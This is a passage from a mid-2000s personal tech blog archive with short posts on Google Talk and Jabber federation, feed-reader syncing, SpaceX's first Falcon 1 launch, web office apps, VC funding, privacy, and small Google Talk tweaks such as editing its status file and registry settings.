don’t know if RSS Bandit does support such a feature, AFAIK it doesn’t. What it does support is the ability to save its feed list and state to some remote location and be able to upload it to some remote storage location (i.e. some accessible FTP site) and download it back again. I found some posts about people saying that they found some ways of doing that and keep the state of the read/unread items, which is a partial solution, but it’s not what I’m looking for. It doesn’t answer my need of being able to continue reading my favorite feeds even when I don’t have one of my machines near me. So what do I really need? I want a server-side service with a good API for: Managing Feeds – Adding, removing, grouping them into groups Managing the state of feed posts – Marking what I read as read and what I’ve marked an unread as unread Syncing up – If I install a rich client on a new machine, it should sync up with the server with all of the feeds and its state. Handling a LARGE amount of feeds – well, as I’ve said I’m a medium to heavy feed junkie :-) Ever since I’ve read Niall Kennedy’s post about the Google Reader API I’ve been meaning to try and cook something up, even though it doesn’t really answer all of my needs (at least as far as the API functions Niall talked about). I wonder if that will piss them off too much :-) There are a few web application based feed readers, but then I’ll always need access to my home machine (or office machine) which I usually have, but I don’t really want to rely on it. I prefer using one of the big guys’ feed service. Oh well, time to start getting dirty (unless someone already did that, if so, drop me a comment!) --- ## SpaceX is about to launch the Falcon 1 rocket for the first time – History in the making (I hope) Published: 2006-03-24 Tags: Falcon-1, Launch, Satellite, Space, SpaceX I’m just watching the live feed of the SpaceX‘s Falcon 1 rocket launch. I can’t even begin to describe what the impact of this whole move is if the launch succeeds as planned. The Falcon 1 rocket is the first all American, built from scratch, rocket in the last 25+ years. It is built from new materials and its launch cost is $6.7 million which is about a quarter of what a launch will cost on a Delta II rocket or equivalent (even the Russian launch costs are higher than this the cost of launching Falcon 1). In all of the times I tried to raise ideas and being to develop things related to satellites, the one thing that always hold me back was the fact that launching a satellite is VERY expensive and trying to piggy back on someone else’s launch is very cumbersome and risky (at least risky for the people that are launching the main payload in that rocket). Maybe now the whole space exploration and satellite business will start taking off (hopefully, like the Falcon 1 rocket) and really revolutionize our lives. The funny thing here is that there is a direct connection to the Hi-Tech software industry, SpaceX’s CEO and CTO is Elon Musk, the co-founder of PayPal which revolutionized the electronic payments over the internet. I’ve been tracking SpaceX’s progress for the past 4 years (roughly about the time I had my first ideas about revolutionizing the satellite industry) and they have made an incredible progress. I know what you are probably thinking “what does this crazy guy that have a .NET debugging blog and rants about various thing has to do with revolutionizing the satellite building industry”, well, in a short sentence a lot :-) but these are all things I’ll have to either implement or explain later when I’ll write my great book of unimplemented ideas ;-) God Speed Falcon 1 and kudos to the whole SpaceX team! --- ## ajaxWrite and Open Office / Open Document Format Published: 2006-03-23 Tags: ajaxWrite, Bubbles, Michael-Robertson, ODF, Open-Document-Format, Open-Office, OpenOffice, Writely I just read on Om Malik on Boardband that Michael Robertson of MP3.com, Linspire and SIPphone fame just annonced a new project called ajaxWrite. This is a pure web application word processor without any storage behind it like Writely (when you open a document you upload it and when you save it you download it) but it seems very well written. The only thing that bothers me is that they claim they support all major file formats but what they actually support is MS Word, RTF, Text and PDF. What about the Open Office and/or the Open Document Format? Why isn’t it supported? If you are going to make such an application available why not use an OPEN format that will be accessible for all? It’s annoying. Really. Anyhow, while this is very cool, I think it could be a good addition to Bubbles. --- ## Bubbles – Clean, round and really refreshing! Published: 2006-03-19 Tags: 3D3R, Bubbles, FireFox, Gecko, Google-Office, Internet-Explorer, Mozilla Ohad, the leader of a small Israeli software studio named 3D3R, just released a cool little app named Bubbles. The concept behind it is based on the fact that the new age of web applications doesn’t really play nicely with your desktop, so instead of living up and playing nicely with the rest of your desktop application, web application tend to stack up in your tabbed browser (if you have one of those, if not, get one here). There is also a review on Yaniv’s blog. What Bubbles does is to encapsulate your web application in a manner that will make it appear as if this is a standard desktop application. It does that by hosting the Internet Explorer and operating it externally. A very nice trick. There is has support for a Gecko (the rendering engine behind FireFox and Mozilla) but it is based on the Gecko ActiveX (no cross platform support). I think there is an interesting opportunity for this type of application specifically due to the whole Google portfolio related rumors about having Writely as Word, Gmail and CL2 (Google’s Web Based Calendar) as Outlook, Google Base as Access (though I think this stretches it a bit more than what Google Base is actually is) and the mysterious GDrive to store all of the data up in one place. If Google adds something like Bubbles to its Google Desktop product (or even in a different product), it can integrate seamlessly with Windows on the desktop making the whole Google Office suite (even though it lacks a few things like Excel and PowerPoint) almost native to Windows as Microsoft Office is. Plus, if it can encapsulate some kind of an API that can be exposed through JavaScript hooks (I think I remember that there are a few, at least in Internet Explorer) that will enable the application to talk with the desktop, that would allow an even better integration with the desktop, for example, allow the application to make the window flicker in the taskbar, allow it to show the bubble help tips, flicker the tray icon and so on. Anyhow, try it out, send feedback and I’m sure this will eventually become a great addition to the desktop! --- ## Google will open up an R&D Center in Israel Published: 2006-03-01 Tags: Google, Google-R&D, Israel, Microsoft, Yahoo According to this link in Globes, the Israeli Business newspaper, Google is going to open up an R&D center in Israel in the second quarter. The center will be led by Dr. Yoelle Maarek, a long time (17 years) veteran of IBM’s research labs and will be located in the northern city of Haifa (near the Technion, surprise surprise) The only company out of the big 3, a.k.a, GYM (Google, Yahoo, Microsoft), that has an R&D center in Israel is Microsoft. Yahoo had something in the first bubble and after the explosion of the first bubble it was quickly closed. This comes a little bit after Google opened an office for marketing purposes in Israel and is now hiring. Its going to be very interesting from a few points of view: Microsoft’s R&D center in Israel is located in Haifa as well. IBM’s Research Labs are also located in Haifa The Technion, Israel’s leading technical university is also located in Haifa, meaning, plenty of Software Engineers from the top of the line of the academy in Israel. Microsoft’s R&D center mainly focuses on security and, if I’m not mistaken, was the place of birth for COM+ and some other interesting technologies. While no one knows for sure what Google will develop in Israel, I wonder how Microsoft is going to react to that. It’s also going to be very interesting as to what Yahoo will do with this and if they are willing to take another shot at Israel. The arena in Israel is heating up, that’s for sure. --- ## The Tail of the Tail Published: 2006-02-20 Tags: Blog, Blog-Comments, Knowledge, Long-Tail, Tail If blogs are the long tail of knowledge, what are the comments that most blog posts have? Are the comments the long tail of the long tail of knowledge? Think about it… --- ## I got a refund! Woohooo! Published: 2006-02-02 Tags: Google, Google-Desktop, Google-Search-API-.NET-Wrapper, Refund, T-Shirt A long long time ago on July 6th 2005 I’ve posted a rant post about how I’m so pissed at Google after I had to pay $37.25 to get a “Free” Google T-Shirt I won because I wrote the Google Search API .NET Wrapper. Well, now after 8 months I finally got a refund. It started as a strange Email I got from the GoogleStore saying something about my request being handled. I didn’t figure what this was and the Email didn’t have any special links in it. I looked online in my credit card’s bill and I saw a refund of $37.25 from Google. Although it’s a bit late I still would like to thank Google for hearing me out. Way to go! Keep up the good work! Now I won’t be embarrassed (I was embarrassed before because I had to pay almost $40 for a geek T-Shirt) to roam the street of Tel Aviv with my very own Google Desktop Geek T-Shirt! Thanks Google! (really) --- ## Tags or Labels? Which one do you prefer? Published: 2006-01-30 Tags: Google, Google-Toolbar, Labels, Tags I read a this post on Niall Kennedy’s blog about the new features in the Google Toolbar which includes the ability to store and tag label bookmarks that can also later be retrieved when logging into a different machine. While the concept is nice (and is similar in a number of ways to the del.icio.us extension for FireFox the thing that caught my eye was the fact that Google decided to call the tags labels. While they (Google) are very consistent with the naming issue (you also have labels in Gmail) why is the term “labels” was chosen over “tags”? Do they think that the term “labels” is easier to understand and explain to the common John Dow instead of “tags”? Did they do it just to set themselves apart from the whole “tagging” frenzy going on, or did they simply chose this term before the “tags” term went very public? Anyhow, I personally prefer “tags” over “labels”. When I say “labels” I always have a connotation of sticky notes on boxes. Which one do you prefer, Tags or Labels? --- ## Yedda Published: 2006-01-26 Tags: Answers, Knowledge, Knowledge-Sharing, Questions, Yedda I know it has been a little quite around here and on my other blog. I may have hinted a bit in the past that I’m involved in this new and cool project but if I didn’t, I’ll say it out loud, I AM INVOVLED IN A COOL PROJECT :-) That’s the main reason for the quiteness. This project is called Yedda and you are more then welcome to visit the site and the Yedda Blog to get more information. It’s soon about to roll out into beta so be sure to apply for it. --- ## Connect Google Talk with MSN, Yahoo and AIM Published: 2006-01-23 Tags: AIM, GAIM, Google, Google Talk, Jabber, libjingle, MSN, Yahoo Just saw this on Digg and since I’m already on a Jabber frenzy due to my previous posts, I thought I should share. Looks quite cool, though I haven’t tried it yet. I’m using GAIM so I got everything all up in one client. I’m just waiting to get a build of GAIM that works with libjingle so I would be able to chat with my friends using Google Talk’s voice features. If I only had a bit more free time to actually code on GAIM that would be even better… oh well… back to the salt mines. Technorati : AIM, GAIM, Google, Google Talk, Jabber, MSN, Yahoo, libjingle Del.icio.us : AIM, GAIM, Google, Google Talk, Jabber, MSN, Yahoo, libjingle Ice Rocket : AIM, GAIM, Google, Google Talk, Jabber, MSN, Yahoo, libjingle --- ## Gmail dot Scandal Published: 2006-01-23 Tags: Dot-Scandal, Email, Eran-Sandler, Gmail, Google I’m sure you’ll all have heard about the Gmail dot scandal and that it WAS confirmed by Google. I’m not a heavy Gmail user but I do have an Email box there (like everyone else) but it DOES pisses me off, specifically since my Email HAS a dot in it. This can also explain why I got an Email a while back from someone that claimed to be my wife (although she was referring to another Eran Sandler ;-) ). If this was complained that long how come it wasn’t fixed? It’s outrageous that someone else, in certain cases, will be getting my private Emails. I feel so violated. I just hope they’ll get their act together and fix this before all hell will break loose. They have enough privacy issues/concerns right now to deal with and I’m sure the folks at Google are not in the mood for another one. --- ## Company-Wide Instant Messaging with Jabberd Published: 2006-01-21 Tags: Google Talk, GTalk, IM, Instant Messaging, Jabber, Jabberd Continuing my current fixation about Jabber and Jabber related stuff (it all started with this post about how Google is openning up Google Talk to talk with other Jabber based servers), there is a good article up on O’Relly’s OnLamp.com about the pros and cons of a Company-Wide Instant Messaging solutions as well as how to setup Jabberd 2.x to do just that. It’s really worth the read for people that are trying to figure out how to utilize an IM solution in their company while still retaining a high degree of security. Go. Read. Implement. --- ## Jabber Servers Supporting the DialBack Protocol Published: 2006-01-18 Tags: Federation, Google Talk, Jabber, Jingle, libjingle I promised in the previous post about Google Talk’s support for federation to check what open source Jabber servers supports the DialBack protocol described in RFC 3920 used by Google Talk server to talk to other Jabber server. Well… it seems that the dialback protocol is supported by all server listed here and a bunch of other non open source servers not listed there. This is a good thing, but it seems the dialback protocol is not encrypted like the other TLS and SASL server-to-server protocols. On the other hand all other IMs today are not encrypted by default so privacy issues regarding this are legitimate as to the rest of the IMs available. The main advnatage of the Jabber Protocol (besides it being an open source specification and a standard) is that it is federated like the Email system is, meaning, if I send an Email to another friend who is on the same server, that Email will never leave the server. If I send an Email to a friend in a different server (domain) that Email can go through 1 or more other servers until it reaches its destination. This is a great oppertunity for business who are afraid of putting instant messaging software inside the organization due to security issues since all internal IMs will be kept internal and will not travel outside the network of the company/office/department/group. Only when IMs will go to a user on a different network they will be sent to a differnet server. In addition to that, and as I talked a bit in an earlier post, Jabber has support in the protocol for cross-protocol communications, which means that upon installing a bridge to a different IM system (MSN, Yahoo, AOL, ICQ) you can use your internal Jabber client, see other IM users from your corporate as and users from other Jabber servers as well as users from other networks such as MSN, Yahoo, AOL and ICQ. Now all we have left to do is promote the proposed standards for Jingle (JEP-0166) and Jingle-Audio (JEP-0167) (and perhaps the open source libjingle library) so we will finally bridge all the gaps between the various IM systems we have today. --- ## Someone heard my call – Google Talk support federation Published: 2006-01-18 Tags: Federation, Google Talk, GTalk, Jabber, XMPP A while back I posted a request/hope that Google Talk will open up to AOL using one of the Jabber bridges. I also secretly hoped (meaning, I forgot to blog about it) that since Google Talk uses Jabber, they will open up its federation abilities and enable everying Google Talk user to communicate with any other Jabber user (providing that that user supports the necessary XMPP spec that Google Talk uses, which I still don’t know if it is one of the common ones, but I’ll check that up). Well… Yesterday one of the Google Talk team members announced it on the Google Talk blog and it was also announced in the official Google blog. Way to go Google! Now almost everyone with a Jabber account will be able to talk to any other Google Talk user. Check back here for a summary of all Jabber server that supports the dialback protocol (RFC 3920) so you’ll know which Jabber server will be able to talk to Google Talk. --- ## Google Talk and AIM talks Published: 2005-12-21 Tags: AIM, Google, Google Talk, Jabber, XMPP I’m sure you all have heard by now that Google and AOL have signed a deal in which part of it is to enable Google Talk and AIM users to communicate with each other. Google Talk is based on the open XMPP (Jabber) standard which has built in abilities to work with gateways that enables this protocol to communicate with other protocols. I just hope Google will use some of the Jabber/AIM bridges such as AIM/ICQ-Transport to make this thing work. --- ## VCs, Google, Innovation. What can done? Published: 2005-12-06 Tags: Google, Innovation, Investments, vc, venture-capital I’ve recently read this article on BusinessWeek about how Google changed the landscape for VCs and innovation. To sum things up, the article states that instead of encouraging innovation, VCs are looking for companies that can fill in some gap in Google’s portfolio (at least the portfolio they think Google is seeking for, since they don’t really tell anyone what they are doing most of the time). This step alone can diminish innovation since less VCs will invest in things that cannot be sold as quickly as possible to Google (or some other one of the big giant such as Yahoo, Amazon, eBay, Microsoft and the rest) The crazy thing about this is the fact that Google is not interested in big deals, at least not at the moment. Their largest deal, according to this article, was $102 million it paid for the online ad start up Applied Semantics Inc., which in hardly one of the biggest deals around. VCs will now try to fund small companies that might interest Google, invest a few million dollars in the company and try to sell it to Google for about 10 times of what they have invested. Sometimes (actually most of the time) innovation requires a bit more cash or a bit more breathing space. Now I know that creating an Internet startup doesn’t take much funds as it used to, but for the bigger changes, the bigger innovations in other fields in addition to software, the ability to innovate will take time and therefore money. If some VCs (and I do hope not all of them) will only fund as little as they can while pressuring the company to be liked by Google (or any other giant for the sake of the argument) this might bring that company to do things that are not necessarily innovative in the way they wanted to do, but innovative to draw Google’s attention and get bought. AFAIK about Google’s internal affairs, they try to promote innovation and encourage it, but the effect that is actually happening outside of Google is the opposite and Google cannot be entirely blamed for this, after all, they don’t force VCs to think this or that. VCs sees Google huge pile of cash and are trying to think how they can get some of it, which is usually good, but I think there is a place for VCs with a bit more vision, VCs that will not only make sure they generate profit for the people investing in their fund, but will also have the ability to recognize the right opportunity with enough innovation at the right time. Something that instead of doing quick cash by selling it will create a long lived company and, perhaps, a new market. Perhaps there is a place for a newer VC model. The new VC should have a few long term investments in companies that the VC (and/or the market) see the potential of becoming a big company with an influence on its market (perhaps even create a new market). In addition to that, the VC should have a set of smaller companies for “quick cash” – Companies that their best exit strategy will be buy outs by bigger players on the market. This strategy will help (a) base the VCs reputation, since the VC is generating profit for the investors and (b) generate more money to be invested into the bigger more money consuming investments in the long term companies. I’m not that knowledgable in how big VCs work (or even the smaller onces) and I’m sure there are a lot of such arguments going around inside the offices of VCs all around the world, but perhaps there is a place for us, the poor little engineers with lots of cool ideas, to be heard. Perhaps by raising our voices and telling VCs that they are not there just to give us cash that we can spend it, they are there to help innovate – perhaps that will help change the mind set of some of the people there. --- ## Amazon E-Commerce Web Service API Published: 2005-12-01 Tags: Amazon, API, E-Commerce, Web-Service I’ve recently experimented with Amazon’s E-Commerce Service. In general, it’s a very complete API giving you access to almost every piece of information including titles, images, prices (and historical prices) that Amazon stores. There were two things that were a bit problematic, in my opinion, which I think should be addressed. The first thing is the ItemSearch method. This method allows you to search for items answering a set of criterias. I need to find a few books according to some keywords I got as input. After looking in the documentation, I’ve started to use the “Keywords” property. The nice thing about it, is that you simply give a least of words (seperated by spaces) and it will return the results. The problem with it is that its not a “smart” search. It says it will try treat these keywords as keywords or pharses. I searched on two keywords “saw” and “deck” so I inputed “saw deck” and got nothing. It took me a while to search in the API and find out that what I really wanted was to use the “Power” property which allows entering a more sophisitcated search phrase such as “subject:(saw or deck)”. This is really annoying and VERY unintuitive. How can I actually know that a property named “Power” is for the advanced search?! Another issue that troubled me is related to the structure of the API. It seems there is a specific attribute for a lot of the things Amazon is exposing. Perhaps there is a place for a more generic version of this web service. On that will allow a user to get a more “Generic” object or data representation of all the various items Amazon have that will enable Amazon (and other users) to not change the various item specific structures whenever they add new types of items. Look at the WSDL and the API samples yourself and tell me what you think. --- ## GoogleWorld the new Web and privacy Published: 2005-11-25 Tags: Amazon, Google, Privacy, Web-2.0 Whether it is Gmail, Google Base, Google Video, Google Answers, Froogle, Google Blog Search, Google Book Search, Google Maps and Google Toolbar, Google seems to be conquering the world by offering a lot of services in different and diverse areas. (You can get a good review of the various Google Services here) With your Google Account (which is also your Gmail email), Google can also track a person specifically and learn things about what him/her, what he/she searched for, shoped, interest in, etc. Actually, according to this, Google also learns a lot about you even without having a Google Account. The main problem with Google is that they are not actually showing the users what they are doing with this information. Yes, they have privacy policy. Yes they claim they are “not evil“, and to some degree I believe them, but I really want to know what is being done with the information being gather on me. Let me take Amazon as an example. When I buy things at Amazon they save it in their database. They also encourage me to fill in a wish list or even mark products that I already own so they will be able to offer me products that I’m interested in. In addition to that, when they recommend something to me they always tell me why this product was offered to me and I can directly see and understand what they did with the information they gather about me and the information I have supplied them. *Google will soon hit the privacy wall hard and as more sites of the “ forbidden word” will start gathering more and more information about people and their doings, I think its time for Google and the rest of the world to start actually showing to people what is being done with this information. A good start would be like Amazon is doing by telling you why things have been recommended. --- ## My first post using a Blog Editor Published: 2005-11-02 Tags: Blog, Blog-Editor, Editor, Post, Python, Zoundry I’ve decided I wanted to find a reasonable blog editor to post from instead of using the web interface of Blogger (which is nice, but not THAT nice) After long searches and going through a lot of blog editors (some even cost money) I’ve found this one which is called Zoundry which is even written in Python. It has some neat features in it like: Tags support – including support for Technorati, Del.icio.us, Flicker, 43 things and more. Preview with your OWN template. It even downloaded my template and enabled me to view this post as it would appear in the blog.Anyhow, this is my first post out of it to test it out and see how it is and if its worth using it all the time. --- ## GoTag Published: 2005-10-23 Tags: GoTag, Tagging My good friend Yaniv lately talked a lot about tags and other tagging related issues.Now this whole tagging thing is kinda going out of hand so I’ve decided to create a new game that will bring tagging to the real world.I’ve decided to call it GoTag. Ingredients: One pack of 3M PostIts in the color of your choice (Yellow is recommened because you can see it very well on all clothes). One dark marker pen to write on the PostIts. How to play? Walk along main street of your town/city. Find interesting people and think of tags for them Write down the tag on a PostIt note with the marker pen Try to attach the PostIt to the person. If the person is not willing to get a PostIt on its clothes or seems to be someone that doesn’t understand humor too much, consider silently sneaking behind the person and gently attach the post it to the clothes. “OK, so you have this game which is similar to the “Kick my ass” sticker people attach to the backs of the friends they don’t really like. What about Social networking?”Now the fun part begins…. Before attaching the PostIt be sure to leave special sign on the PostIt so if other people will read it they will know who put the PostIt there.Try to create a map of all the symbols of your friends and your friends friends and when you see a PostIt you’ll immediatly be able to calculate what is the distance between the person that wrote the tag and you.Isn’t it much more fun than to tag blog posts, bookmarks, pictures and other stuff? :-) --- ## A virus is a virus no matter what Published: 2005-09-25 Tags: RIAA, Spyware, Virus I’ve just stumbled upon this article stating the the IFPI – the international equivalent of the RIAA – has just released a virus that will delete your P2P software. Now I find this act to be criminal. All the recent worm writers that were caught and legal action was taken against them. This virus is sponsored by an organization and as much as they’d like to fight P2P piracy, writing a virus and deleting software from my computer without my knowledge IS a CRIME! What’s next? They will start crawling my machine searching for all files with the name “Beatles” in it and delete it? What if I’ve written my PhD thesis on beatles? I wish someone would hold them accounted for their actions. --- ## Google Talk Log Abilities Published: 2005-09-18 Tags: Google Talk, GTalk, IM, Instant Messaging As my good friend Dudu pointed out (and I forgot to tell you), Google Talk’s log abilities are very limited. It only saves the last 20 lines of chat (and only if the window was closed properly, otherwise it will NOT save the log). Since Google Talk currently lack any normal API (heck, its just one executable file ;-) ), I thought about writing a small up that would listen to file changes in the log directory, parse them and accumelate them in one file per converstaion with a person (similar to what the log is doing now). This will allow me to save the complete log of the chat. I was also fiddling around with making my small app, a Google SideBar add-on. All I can say is that its not that nice to make one :-). Actually, I didn’t have enough time (I think a hour should do it) to mess around with it too much. Anyhow, I’ll update all of you on how my Google Talk mods are coming along. --- ## Google Talk Chat Log Viewer Published: 2005-09-01 Tags: Google, Google Talk, GTalk, Log, Viewer After discovering the Google Talk Chat Log format and seeing that its not human readable, I’ve decided to write a log viewer so I can check out and read my logs whenever I want to. You can download the Google Talk Chat Log Viewer v0.1 from here . I’ve also written there the Google Talk Chat Log format if anyone else is interested. Enjoy! --- ## How to edit/delete Google Talk custom messages Published: 2005-09-01 Tags: Custom-Messages, Google, Google Talk, GTalk Google Talk stored all of your custom messages that you have entered in a file in your user profile directory. The file is located at “%USERPROFILE%\Local Settings\Application Data\Google\Google Talk\status” Inside you will find a file named in the format [userid]-history.txt. So if your Gmail account is John.Dow@gmail.com the filename will be john.dow_gmail.com-history.txt (besides, there is usually only one file there anyway ;-) ). The file format is very easy. It start with a first line which has the character “1” in it. I’m not sure what it stands for and what it do but you can disregard it. All of the other lines are your custom message. There are two statuses that can have custom messages that you can set for them. The “Available” status and the “Busy” (reffered internally as dnd – Do Not Disturbe). Each two lines represent one custom message. The first line of each one of them represents one of the two statuses that this custome message refers to (available or dnd). The second line is your custom message. There is no way of delete your previous custom messages in the current Google Talk GUI (Its currently true for the versions I’ve worked with 1.0.0.64 and 1.0.0.66 but may be irrelevant for future versions). In order to delete these unnecessary custom messages do the following things: Close Google Talk Open the file (the location and name are mentioned above) Find the message text Delete that line and the line above it. Save the file Start Google Talk That’s it, you won’t see it. Of course, instead of deleting the line you can also edit it to change it. Hope this helps someone. --- ## How to disable Google Talk Auto Update Published: 2005-09-01 Tags: Auto-Update, Google Talk, GTalk, Tips n' Tricks If you every wondered how to disable Google Talk’s auto update feature, I found an easy way of doing this which, at least for now, seems to work. NOTE: Be sure to backup the registry entries before using the registry’s Export feature when standing on the Google Talk AutoUpdate key. Close Google Talk Open the registry (using regedit.exe) Go to My Machine\HKEY_CURRENT_USER\Software\Google\Google Talk\Autoupdate Change the value of UpdateURL to something in valid (or empty) Start Google Talk That’s it. Very simple and seems to work (at least for now). --- ## Some more interesting speculation about Google’s future plans Published: 2005-08-31 Tags: Authentication, Google, Identity I’ve just stumbled upon this, which seems to contain some very interesting speculations as to Google’s future plans. They all strengthen my point about in my previous post that Gmail IDs are a Passport like system for authentication and they will be used throughout current and future services. They are already being used in most of Google’s personalization sites. Another thing the link I started with talks about is the fact that Google Talk is also more about managing your contacts and you can see that the integration with Gmail and its Contacts into Google Talk also adds to the fact they it is heading to a more centralized authentication system. I will not be surprised if they will join Project Liberty, or even worse, start their own initiative. I don’t mind having a single authentication system but I don’t want it centralized in one place. I would rather have it decentralized like the DNS system or like Jabber and the XMPP specs are. Heck, even the fact that Linux is not controlled by a single vendor is one of the things that make it very compelling to a lot of organizations and people. The fact that you can switch between two distributions is very important to businesses as well as the fact that it generates a positive competition conditions that are all good for the customer. Don’t forget that one of the few things that killed Microsoft’s Passport true vision and Microsoft’s Hailstorm project was the fact that no one wants to have all of its information stored in one vendor’s system and if Google are indeed going in that direction they will stumble upon the same issues that killed Microsoft’s projects. --- ## IM Wars – And I’m not the only one thinking about it Published: 2005-08-29 Tags: Federation, Google Talk, GTalk, IM, IM-War, Instant Messaging It seems that there are more than a few people (well, at least 2) that have some other thoughts about Google. I must admit that at first I was also inside the Google Talk frenzy, submersed in all the hype, but after reading Nuggest’s post and Drunken Batman’s post I started to ponder a bit about their thoughts and I must say that have some really good points. Although Google Talk is still in v1.0 (or v0.1, depends on how you look at it) and it lacks a lot of the client features that its competitors have, we should also assume that their server software (even though based on the open XMPP standard that Jabber uses) is at v1.0 (or v0.1, as I said about the client). Most people that only use one IM don’t know/want/take time to understand how Jabber server to server (S2S) works and how its similar to Email. Heck, I doubt most of them know how Email works, they just know that entering an Email address will usually get the message to that address. This leads two a few things: a) If people don’t know how Email works and they already know that entering an address will carry the message to its destination most of the time, using it in Google Talk shouldn’t be that much of a problem. So this means that either Google didn’t want to have S2S at the momet and wanted to test and establish Google Talk using their own user pool that they have in Gmail or Google is planning on doing so but still didn’t activate their servers to support it. b) Using Email address can get users a bit confued. Why does my Email addres of foo@somewhere.com can’t be used? I don’t care there is no Jabber server at somewhere.com. I just want to put the Email address of my friend and use it, much the same I use my friend’s telephone number. Since Google are very user scenario oriented I can only assume they didn’t want to confuse the users which found Gmail very slick and intuitve and didn’t expect anything else from Google, that can be a good enough reason not to do it. Technology – My favorite part of any post ;-) All of the above is without contemplating on the technology side, which has its own merits invovled but I would like to share with you some of my thoughts on that subject as well. NOTE: If you are not so technically literate you can safely skip this part. Most of the Jabber servers I know (either commercial or open sourced) support an LDAP back-end of users. This means that if Google wanted to save a lot of development efforts they probably took an existing Jabber server implemenetation. This means one of two things: Gmail’s backend authentication system is LDAP based or have an LDAP interface. Google had to break open the code of the Jabber server they used and implement the authentication part on top of their Gmail/Google Account authentication system. If that is the case, Google could easily add S2S or it might even already be implemented in the Jabber server they use which makes Nuggest’s point even more serious. They have the technology but have disabled or excluded it. The most annoying thing is that by using the Gmail account and limiting Google Talk to access only the Google Talk network, Google acted much the same as the company they just don’t want to be, Microsoft. Microsoft did the same thing with Passport/Hotmail and MSN Messenger. What happend to the “We are not evil!” motto? Declaring freedom of choice is not enough. Act must be made. I’m calling everyone that reads this entry (all 5 of you ;-) ) to act now and make your voice heard. Email a nice a polite email to federation@google.com Yell a bit so that everyone in Google Talk will hear us. --- ## Google Talk – Let the IM revolution begin Published: 2005-08-24 Tags: Google, Google Talk, GTalk, IM, IM-War, Instant Messaging I just installed Google Talk (talk.google.com). Its REALLY cool. It’s a basic IM and its in Beta but the Voice has a really good quality. I really liked the fact that they use an open standard, the Jabber/XMPP (www.xmpp.org) which is always good. This means that you can use any Jabber/XMPP supported client like iChat (for MacOS), GAIM (For Windows and Linux), etc. Read their developer manifesto here, to see that they mean business and I do hope that they will use the built-in federation ability of the Jabber/XMPP protocol to federate messages to other IMs such as Yahoo, AIM/ICQ and MSN. In addition to that, it seems they are also planning to take on VoIP to standard phone which means they will take on Skype and the rest. Having a big, money full player in this market is a good thing for everyone and even more so if they are willing to open up everything and inter-connect to the other players. This is a great day for SIP/VoIP/IM. Mark it in your calendar. LET THE IM REVOLUTION BEGIN! --- ## Discovery is back, and in one piece Published: 2005-08-09 Tags: Columbia, Discovery, Shuttle-Program, Space I’m so glad to see Discovery back in one piece. I still remember Feb 1st 2003. It was my grandmother’s birthday and we were sitting in a nice restaurant at the northern part of Israel. After eating, we went to visit a nice little place called “Hacula Vally” which was a swamp that was dried out in the 1920s or so but was now back to its (almost) original dimension. We got a phone call from my cousin who went home instead of continuing for the short trip saying that there was something wrong with Columbia’s landing. We went back to the car, opened the radio and there was much confusion running around. During the drive back home (which took around 2 hours or so) we finally heard the verdict and that pieces were photographed falling from the sky. I’ve always considered myself a bit of a space enthusiast and it was a big blow under the belt for the American space program. Unfortunately, since the cold war ended there is little to no progress in the manned space flight arena and its a shame. I do hope that better Crew Exploration Vehicles will be built and used for the better future of all man kind. I can’t name all the items that got into consumer usage due to the developments made for the space program and its a bad that such a good catalyst for innovation is no longer active in full force. Just think of the fact that we used the 1950s-1960s technology to get to the moon in 1969 (although some thinks it was a hoax). The space shuttle is built using the 1970s technology with some additional features added in the 1980s. The youngest shuttle, the Endeavour, is from 1991 (it was built to replace the Challanger after it blew up during take off in 1986). Just imagine where we would be if we used the 1990s and 2000s technology today. Gives you something to think about… --- ## Windows (Alta) Vista Published: 2005-07-24 Tags: Microsoft, Vista, Windows, Windows-Vista I just found out about the new name of the previously Windows code named “Longhorn”. Guess what, it called Windows Vista. Now I wonder who is the smart-ass marketing guy that thought about that? What is this? half resurrecting dead Digital Corp. companies? The year branding (95,98,2000,2003) I could live with, the XP signature was OK (at least it sounded good) but VISTA?! I guess Office will be the next thing to lose the year branding (although it lost it in XP and gained it back in 2003). Perhaps the real reason and its impact is hidden from me because I’m not a marketing guy and/or your average Joe in computing. Only time will tell. I just hope that they will come to their senses like they did in Windows 2003 (which was previously named .NET Server in most Betas). --- ## Blindly go where all men has gone before Published: 2005-07-17 Tags: Code, Programming, Software I ran into this post today. It mainly talks about the extremes a great deal of developers “ping-pong” between during their life times. Catching the buzz words as they fly and instead of reviewing them and taking a few pointers that can enhance their current development procedure and cycle they just completely and utterly soak themselvs inside of it and forget anything else that existed before it. I had the dubious luxury of assisting a project that it was simply frightening to send a few of the developers there to any software related conference (even a one day review). They would immediately get enlightened by whatever it is they heard in that conference and start changing every piece of code or procedure they know to accomodate the new “Torah” they were given in their imaginary “Mt. Sinai”. For example, I worked with one developer that after returning from a design patterns course started to change every bit of code to accomodate some design pattern from the book. Sometimes she used the wrong design pattern just to use a design pattern no matter what. The funny thing is, that most of these people are not that absolutist in their personal life, so what makes them to go to such extremes in their developer life? I think that coding style, architecture style, understanding requirements and everything else related to the software industry is mostly gained by experience and experimentation. Learn all you can and integrate with what you know and already have. That is the right path. I personally think that before starting any big project, one must understand the requirements. After doing so it is usually best to evaluate various technologies and see if they can be used to accomodate the needs of the project. Most infrastrucutres are tuned in the 80/20 way. They are tuned for 80% of the types of applications but are less tuned for 20% of the rest of the applications. That is why, if your project has some special needs there is a true need in writing sample code that tests some issues that might be problematic in the project. These are just my 2 cents on the matter. Read the link I gave. Its REALLY REALLY funny and educational. --- ## Have you ever worn a 37.25 USD T-Shirt? Published: 2005-07-06 Tags: GDS, Google, Google-Desktop-Search, T-Shirt UPDATE: It took a while, but Google eventually refunded me. See my post about that. Apparently, I am going to be the “proud” owner of a 37.25 bucks Google Desktop T-Shirt. The same T-Shirt I was suppose to get for free from Google and apparently, If you are outside of the USA they will ship it ONLY in UPS Express. For god sake, can’t you just USPS it? Normal Air Mail?! it will cost like $7. This is an amount of money that can be expected for a “FREE” T-Shirt. Most of the T-Shirts in the GoogleStore cost ~12 dollars so shipping it in USPS will set you back around ~20 bucks. I thought Google have a LOT of money. I’m sure they could have taken the shipping costs on themselves. The annoying thing is that I knew they might charge me for that (which is OK) but it never said in anywhere that I saw that it will be shipped in the MOST expensive way. It better be from a fine material, not that scartchy cheap stuff they make most of the geek merchandising shirts of. I’m pissed. --- ## Goolge are not so bad after all! Published: 2005-07-03 Tags: GDS, Google, Google-Desktop-Search, T-Shirt The saga of the geeky Google Desktop T-Shirt continues Do you remember my rant post about not being able to order my free Google Desktop T-Shirt that I got after submitting a Google Search API .NET Wrapper? I’ve decided today that I’ll go to the GoogleStore again and try again. I got in, enter the coupon code and it work. Oh what joy! 